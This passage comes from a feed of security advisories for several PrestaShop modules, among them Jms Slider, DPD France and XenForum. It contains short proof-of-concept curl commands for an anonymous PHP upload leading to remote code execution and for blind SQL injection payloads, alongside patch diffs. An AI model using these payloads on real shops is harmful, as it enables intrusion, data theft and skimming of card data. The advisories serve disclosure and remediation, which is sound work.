<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/ajax_jmspagebuilder.php
</span><span class="gi">+++ b/ajax_jmspagebuilder.php
</span><span class="p">@@ -611,1 +611,1 @@</span> function getPosts
<span class="gd">-        $where  = ' WHERE i.`id_product` IN ('.$productids.') AND (i.`cover` IS NULL OR i.`cover` = 0)';
</span><span class="gi">+        $where  = ' WHERE i.`id_product` IN ('.implode(',', array_map('intval', explode(',', $productids))).') AND (i.`cover` IS NULL OR i.`cover` = 0)';
</span></code></pre></div></div>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-01</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-03-13</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.joommasters.com/">Joom masters web site</a></li>
</ul>]]></content><author><name>[&quot;Creabilis.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The module Jms Page Builder (jmspagebuilder) from Joommasters contains a Blind SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes]]></summary></entry><entry><title type="html">[CVE-2023-29631] Unrestricted upload vulnerability in Jms Slider (jmsslider) PrestaShop module</title><link href="https://security.friendsofpresta.org/modules/2023/03/13/jmsslider.html" rel="alternate" type="text/html" title="[CVE-2023-29631] Unrestricted upload vulnerability in Jms Slider (jmsslider) PrestaShop module" /><published>2023-03-13T00:00:00+00:00</published><updated>2023-03-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/13/jmsslider</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/13/jmsslider.html"><![CDATA[<p>The module Jms Slider (jmsslider) from Joommasters contains an unrestricted upload of file with dangerous type vulnerability.
This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29631">CVE-2023-29631</a></li>
  <li><strong>Published at</strong>: 2023-03-13</li>
  <li><strong>Advisory source</strong>: Joomasters</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: jmsslider</li>
  <li><strong>Impacted release</strong>: All versions (at least 1.6.0)</li>
  <li><strong>Product author</strong>: Joommasters</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>ajax_jmsslider.php can be called anonymously to upload a php file that can be used for RCE.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-F</span> <span class="s2">"data_image=@test.php"</span> <span class="s2">"https://preprod.XXX/modules/jmsslider/ajax_jmsslider.php?secure_key=VALUE_AVAILABLE_ON_FRONTOFFICE&amp;action=addLayer&amp;data_type=image&amp;id_slide=99999"</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>
<p>Provided by the editor
https://www.joommasters.com/index.php/blog/tutorials-and-case-studies/how-to-fix-security-bug-of-slider-security-breach-of-theme.html</p>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2019-09-04</td>
      <td>Vulnerability publish by the editor</td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-03-13</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.joommasters.com/">Joom masters web site</a></li>
  <li><a href="https://www.joommasters.com/index.php/blog/tutorials-and-case-studies/how-to-fix-security-bug-of-slider-security-breach-of-theme.html">Joom masters blog post on the vulnerability</a></li>
</ul>]]></content><author><name>[&quot;Creabilis.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The module Jms Slider (jmsslider) from Joommasters contains an unrestricted upload of file with dangerous type vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes]]></summary></entry><entry><title type="html">[CVE-2023-29629] Blind SQL injection vulnerability in Jms Theme Layout (jmsthemelayout) PrestaShop module</title><link href="https://security.friendsofpresta.org/modules/2023/03/13/jmsthemelayout.html" rel="alternate" type="text/html" title="[CVE-2023-29629] Blind SQL injection vulnerability in Jms Theme Layout (jmsthemelayout) PrestaShop module" /><published>2023-03-13T00:00:00+00:00</published><updated>2023-03-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/13/jmsthemelayout</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/13/jmsthemelayout.html"><![CDATA[<p>The module Jms Theme Layout (jmsthemelayout) from Joommasters contains a Blind SQL injection vulnerability.
This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29629">CVE-2023-29629</a></li>
  <li><strong>Published at</strong>: 2023-03-13</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: jmsthemelayout</li>
  <li><strong>Impacted release</strong>: All versions (at least 2.5.5)</li>
  <li><strong>Product author</strong>: Joommasters</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>ajax_jmsvermegamenu.php hold sensitives SQL calls that can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/ajax_jmsthemelayout.php.php
</span><span class="gi">+++ b/ajax_jmsthemelayout.php.php
</span><span class="p">@@ -102,2 +102,2 @@</span> function getPosts
<span class="gd">-        $query = 'UPDATE `'._DB_PREFIX_.'jmsadv_position` SET `col_lg` = '.$pos_obj[1].', `col_md` = '.$pos_obj[2].', `col_sm` = '.$pos_obj[3].', `col_xs` = '.$pos_obj[4].
-		'	WHERE `id_position` = '.$pos_obj[0];
</span><span class="gi">+        $query = 'UPDATE `'._DB_PREFIX_.'jmsadv_position` SET `col_lg` = '. (int)$pos_obj[1].', `col_md` = '. (int)$pos_obj[2].', `col_sm` = '. (int)$pos_obj[3].', `col_xs` = '. (int)$pos_obj[4].
+		'	WHERE `id_position` = '. (int)$pos_obj[0];
</span></code></pre></div></div>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-01</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-03-13</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.joommasters.com/">Joom masters web site</a></li>
</ul>]]></content><author><name>[&quot;Creabilis.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The module Jms Theme Layout (jmsthemelayout) from Joommasters contains a Blind SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes]]></summary></entry><entry><title type="html">[CVE-2023-29630] Blind SQL injection vulnerability in Jms Vertical MegaMenu (jmsvermegamenu) PrestaShop module</title><link href="https://security.friendsofpresta.org/modules/2023/03/13/jmsvermegamenu.html" rel="alternate" type="text/html" title="[CVE-2023-29630] Blind SQL injection vulnerability in Jms Vertical MegaMenu (jmsvermegamenu) PrestaShop module" /><published>2023-03-13T00:00:00+00:00</published><updated>2023-03-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/13/jmsvermegamenu</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/13/jmsvermegamenu.html"><![CDATA[<p>The module Jms Vertical MegaMenu (jmsvermegamenu) from Joommasters contains a Blind SQL injection vulnerability.
This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29630">CVE-2023-29630</a></li>
  <li><strong>Published at</strong>: 2023-03-13</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: jmsvermegamenu</li>
  <li><strong>Impacted release</strong>: All versions (at least 1.1.x and 2.0.x)</li>
  <li><strong>Product author</strong>: Joommasters</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>ajax_jmsvermegamenu.php hold sensitives SQL calls that can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/ajax_jmsvermegamenu.php
</span><span class="gi">+++ b/ajax_jmsvermegamenu.php
</span><span class="p">@@ -29,1 +29,1 @@</span> function getPosts
<span class="gd">-        UPDATE `'._DB_PREFIX_.'jmsvermegamenu` SET `params` = \''.Tools::getValue('params').'\'
</span><span class="gi">+        UPDATE `'._DB_PREFIX_.'jmsvermegamenu` SET `params` = \''.pSQL(Tools::getValue('params')).'\'
</span></code></pre></div></div>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-01</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-03-13</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.joommasters.com/">Joom masters web site</a></li>
</ul>]]></content><author><name>[&quot;Creabilis.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The module Jms Vertical MegaMenu (jmsvermegamenu) from Joommasters contains a Blind SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes]]></summary></entry><entry><title type="html">[CVE-2023-25207] Multiple improper neutralization of SQL parameters in DPD France module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/03/09/dpdfrance.html" rel="alternate" type="text/html" title="[CVE-2023-25207] Multiple improper neutralization of SQL parameters in DPD France module for PrestaShop" /><published>2023-03-09T00:00:00+00:00</published><updated>2023-03-09T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/09/dpdfrance</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/09/dpdfrance.html"><![CDATA[<p>In the module “DPD France” (dpdfrance) for PrestaShop, a remote attaker can perform a blind SQL injection in affected versions. Release 6.1.3 fixed vulnerabilities.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25207">CVE-2023-25207</a></li>
  <li><strong>Published at</strong>: 2023-03-09</li>
  <li><strong>Advisory source</strong>: Friends-of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: dpdfrance</li>
  <li><strong>Impacted release</strong>: &lt; 6.1.3</li>
  <li><strong>Product author</strong>: DPD France SAS</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In dpdfrance module for PrestaShop up to 6.1.3, multiple sensitives SQL calls in method <code class="language-plaintext highlighter-rouge">dpdfrance::ajaxSetAddressOrder()</code> can be executed with a trivial http call and exploited to forge a bind SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'action_ajax_dpdfrance=setAddressOrder&amp;order=1%27;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://domain.tld/modules/dpdfrance/ajax.php?dpdfrance_token=EXPOSED_TOKEN_ON_FRONT_OFFICE'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/dpdfrance/dpdfrance.php
</span><span class="gi">+++ b/dpdfrance/dpdfrance.php
</span><span class="p">@@ -977,7 +977,7 @@</span> class DPDFrance extends CarrierModule
     public function ajaxSetAddressOrder($param)
     {
         $dpdOrder = $this-&gt;getDpdOrder($param['order']);
<span class="gd">-        $sql      = "UPDATE " . _DB_PREFIX_ . "dpdfrance_order SET override_return_street = '" . (string)$param['street'] . "', override_return_zip = '" . (string)$param['zip'] . "', override_return_city = '" . (string)$param['city'] . "', override_return_phone = '" . (string)$param['phone'] . "' WHERE id_order_dpd = '" . $param['order'] . "';";
</span><span class="gi">+        $sql      = "UPDATE " . _DB_PREFIX_ . "dpdfrance_order SET override_return_street = '" . pSQL($param['street']) . "', override_return_zip = '" . pSQL($param['zip']) . "', override_return_city = '" . pSQL($param['city']) . "', override_return_phone = '" . pSQL($param['phone']) . "' WHERE id_order_dpd = '" . pSQL($param['order']) . "';";
</span>         db::getInstance()-&gt;execute($sql);
         $response = ['update' =&gt; true];
         $response = json_encode($response);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<p><strong>WARNING</strong> Be aware that the version 6.1.3 come with a new sensible problem so you must stay in alert to apply without delay future versions.</p>

<ul>
  <li>It’s recommended to upgrade the module beyond 6.1.3.</li>
  <li>For PrestaShop 1.6, you need to apply the patch manually.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-05</td>
      <td>Issue discovered during a code review by 202 Ecommerce and <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2022-12-05</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2022-12-20</td>
      <td>Never received a response from the author</td>
    </tr>
    <tr>
      <td>2022-12-20</td>
      <td>Contact PrestaShop Addons Team</td>
    </tr>
    <tr>
      <td>2023-01-27</td>
      <td>Fix published on addons PrestaShop marketplace for PrestaShop 1.7+ only</td>
    </tr>
    <tr>
      <td>2023-01-28</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-09</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/shipping-carriers/19414-dpd-france-delivery.html">PrestaShop addons product page</a></li>
  <li><a href="https://www.dpd.com/fr/fr/faq/prestashop/">DPD France module page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-25207">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “DPD France” (dpdfrance) for PrestaShop, a remote attaker can perform a blind SQL injection in affected versions. Release 6.1.3 fixed vulnerabilities.]]></summary></entry><entry><title type="html">[CVE-2023-24763] Multiple improper neutralization of SQL parameters in XenForum module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/03/06/xenforum.html" rel="alternate" type="text/html" title="[CVE-2023-24763] Multiple improper neutralization of SQL parameters in XenForum module for PrestaShop" /><published>2023-03-06T00:00:00+00:00</published><updated>2023-03-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/06/xenforum</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/06/xenforum.html"><![CDATA[<p>In the module “Xen Forum” (xenforum) edited by App1pro, an authenticated user can perform SQL injection in affected versions. 2.13.0 fixed vulnerabilities.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24763">CVE-2023-24763</a></li>
  <li><strong>Published at</strong>: 2023-03-06</li>
  <li><strong>Advisory source</strong>: Friends-of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: xenforum</li>
  <li><strong>Impacted release</strong>: &lt; 2.13.0</li>
  <li><strong>Product author</strong>: App1pro</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: high (8.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In Xen Forum module for PrestaShop up to 2.13.0, multiple sensitives SQL calls in class <code class="language-plaintext highlighter-rouge">XenForumAttachment::getListAttachments()</code> (or <code class="language-plaintext highlighter-rouge">XenForumCat</code>, <code class="language-plaintext highlighter-rouge">XenForumPost</code>, …) can be executed with a trivial http call and exploited to forge a bind SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">--cookie-jar</span> cookie.txt <span class="s1">'https://domain.tld/authentification?submitLogin=1&amp;emailXXXX&amp;password=YYY &amp;&amp; \
curl -v --cookie cookie.txt '</span>http://domain.tld/index.php?fc<span class="o">=</span>module&amp;module<span class="o">=</span>xenforum&amp;id<span class="o">=</span>194&amp;controller<span class="o">=</span>editpost&amp;edit_post<span class="o">=</span>1&amp;attachments[]<span class="o">=</span>3%29%3BSELECT%20SLEEP%2825%29%23<span class="s1">'
</span></code></pre></div></div>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/XenForumAttachment.php
</span><span class="gi">+++ b/classes/XenForumAttachment.php
</span><span class="p">@@ -55,7 +55,7 @@</span> class XenForumAttachment extends ObjectM
